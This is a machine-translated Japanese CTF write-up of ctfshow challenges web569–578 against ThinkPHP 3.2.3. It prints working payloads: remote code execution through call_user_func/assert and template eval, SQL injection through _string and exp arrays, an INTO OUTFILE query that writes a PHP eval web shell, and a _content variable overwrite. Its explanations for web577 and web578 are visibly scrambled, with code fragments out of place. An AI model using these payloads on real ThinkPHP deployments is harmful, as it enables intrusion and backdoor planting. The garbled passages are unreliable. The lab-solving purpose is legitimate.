ctfshow ThinkPHP-3.2.3(569-578)

web569

関連情報

thinkphpのマニュアルを参照してください。
ここに画像の説明を挿入
下の図のインデックスメソッドにアクセスしてhello123を出力するには、次の4つのモードを実行できます。
ここに画像の説明を挿入
PATHINFOモード
http://localhost/index.php/Home/Index/index/name/123/
通常モード
http://localhost/index.php?m=Home&c=Index&f=index&name=123
互換モード
http://localhost/index.php?s=Home/Index/index/name/123
パラメータsは、ThinkPHP-> Conf-> Convention.phpのVAR_PATH_INFO設定から取得されるため、他のパラメータに変更することもできます。
REWRITEモード
http://localhost/Home/Index/index/name/123/

答え

したがって、管理モジュールのログインコントローラのctfshowLoginメソッドにアクセスするのは非常に簡単です。
url/index.php/Admin/Login/ctfshowLogin

web570

タイトルで指定されたアプリケーションファイルをダウンロードし、config.phpでルーティングルールを見つけます。
ここに画像の説明を挿入

	'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
    
    
    	call_user_func($f, $a);
    	}
    )

つまり、url / index.php / ctfshow / xxx / yyyにアクセスすると、call_user_func(xxx、yyy)が実行されます。
入力/が難しいため、system('ls /')を直接実行することはできず、メソッドを変更することしかできません。
ペイロード:
url/index.php/ctfshow/assert/eval($_POST[1])/投稿:1=system('cat /f*');

web571

制御可能な変数nは、ホームモジュールのインデックスメソッドに表示されます。
ここに画像の説明を挿入
次に、このshow関数を調べてみましょう。この側面のために、渡したパラメーターのみを残します。$n

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    
    
    public function index($n=''){
    
    
     $this->show($n);
    }

デバッグを有効にし、表示でフォローアップしますここに画像の説明を挿入

フェッチ
ここに画像の説明を挿入
のフォローアップでは、TMPL_ENGINE_TYPEがphpの場合、渡したn、つまりcontentがeval関数に入ることがわかります。

ここに画像の説明を挿入
したがって、phpコードを直接渡すことができます。
ペイロード:
?n=<?php system('cat /f*');?>

web572

タイトルにはブラストが記載されています。thinkphpのデバッグが有効になっている場合、ランタイムディレクトリにログファイルが生成されます。ファイルの名前年_月_日.logは付けられています。だから私たちはファイル名を爆破することができます
ここに画像の説明を挿入

BPパケットのキャプチャとブラスト日付に加えて、phpコードが渡された21_04_05ログ
ここに画像の説明を挿入
ここに画像の説明を挿入
ここに画像の説明を挿入
もあることがわかります。1文のトロイの木馬がバックグラウンドで書き込まれ、パスワードは
ここに画像の説明を挿入
showctf。それでは、それも試してみましょう。
ペイロード:
index.php?showctf=<?php system('cat /f*');?>

web573

コンテンツがたくさんあり、コンテンツリンクは別に書かれています

web574

タイトルはホームページのソースコードを示します

public function index($id=1){
    
    
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}

前の質問の分析との違いは、高度な場所と高度な検索です。デバッグしてみましょう。
最終的に?id=1'、where関数では以下の部分のみが実行されます。つまり、フロントに違いは
$this->options['where']=array("_string"=>"1'")
ここに画像の説明を挿入
なく、フォーカスはparseWhereにあり、$whereこの時点で$this->options['where']値が渡されarray("_string"=>"1'")ます。したがって、 yesの場合
ここに画像の説明を挿入
$key次のように入力し、最終的に返されるコンテンツは実行されるsqlステートメントはpayloadです:(テーブル名と列名の停止の手順は省略されます)'_string' $valid=1'( id=1 )select * from xxx where (id=1') limit 1
ここに画像の説明を挿入
ここに画像の説明を挿入
?id=0) union select 1,flag4s ,3,4 from flags%23

web575

コンテンツがたくさんあり、コンテンツリンクは別に書かれています

web576

ソースコードは以下の通りです

$user = M('Users')->comment($id)->find(intval($id));

findのキーIDはintvalを使用しているため、以前のSQLインジェクションの方法は使用できません。
次に、オプションのコメントに値を割り当てるコメント関数に注目しましょう。
ここに画像の説明を挿入
前の手順を1つずつ繰り返すことはありません。コメントが使用されている場所を見てみましょう
ここに画像の説明を挿入

ここに画像の説明を挿入
id = 1を渡すと、最後のsqlステートメントは次select * from users where id=1 limit 1 /* 1*/
のようになります。
ペイロードの作成方法は非常に簡単です。
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*

web577

ソースコードは次のとおりですが、以前よりも多くの場所があります

$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();

その主な機能は、入力値をに割り当てることです$this->options['where']
ここに画像の説明を挿入

オプションは次のようになります。
ここに画像の説明を挿入
関数まで下がると_parseOptions、マークされたforループを通過した後にvalに割り当てられる値が表示されますoptions['where']さて、続けましょう。parseWhere
ここに画像の説明を挿入
のparseWhereItemが配列の場合、文字列に割り当てられます。文字列の場合、最終的に返されるコンテンツは連結された文字列です。そのため、どのようにして得られたのでしょうか。関数内で次のことを強調しました。、whenマークされたforループの後にvalが割り当てられる値実際、それは私たちが渡したIDの値を割り当てることに要約されます。今では明らかです。渡す?id [0] = expが入力され、渡さ。
ここに画像の説明を挿入
$val$val[0]$exp$expexp
$whereStr .= $key.' '.$val[1];id$val[1]$val_parseOptionsoptions['where']
$whereStr .= $key.' '.$val[1];

ペイロード:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23

web578

ソースコードは次のとおりです。デバッグを開始します

public function index($name='',$from='ctfshow'){
    
    
	$this->assign($name,$from);
	$this->display('index');
}

最初の関数assignは単純な割り当てです。つまり、パスインした場合、パスイン?name=a&from=b,した場合$this->tVar=array('a'=>'b');、表示を確認し、フェッチをフォローアップして、この場所で動作する抽出関数があることを確認します。この関数を渡した後、bの値が生成されると仮定します。以下が重要なポイントです。空でない場合はeval関数が実行されるため、変数が上書きされている限り、 phpコードを実行できます。ペイロード:?name[x]=y,$this->tVar=array('x'=>'y');
ここに画像の説明を挿入

ここに画像の説明を挿入
ここに画像の説明を挿入
$this->tVar
$this->tVar=array('a'=>'b');$a
empty($_content)?include $templateFile:eval('?>'.$_content);
$_content$_content

?name[_content]=<?php system('cat /f*');?>

おすすめ

転載: blog.csdn.net/miuzzx/article/details/119410335
おすすめ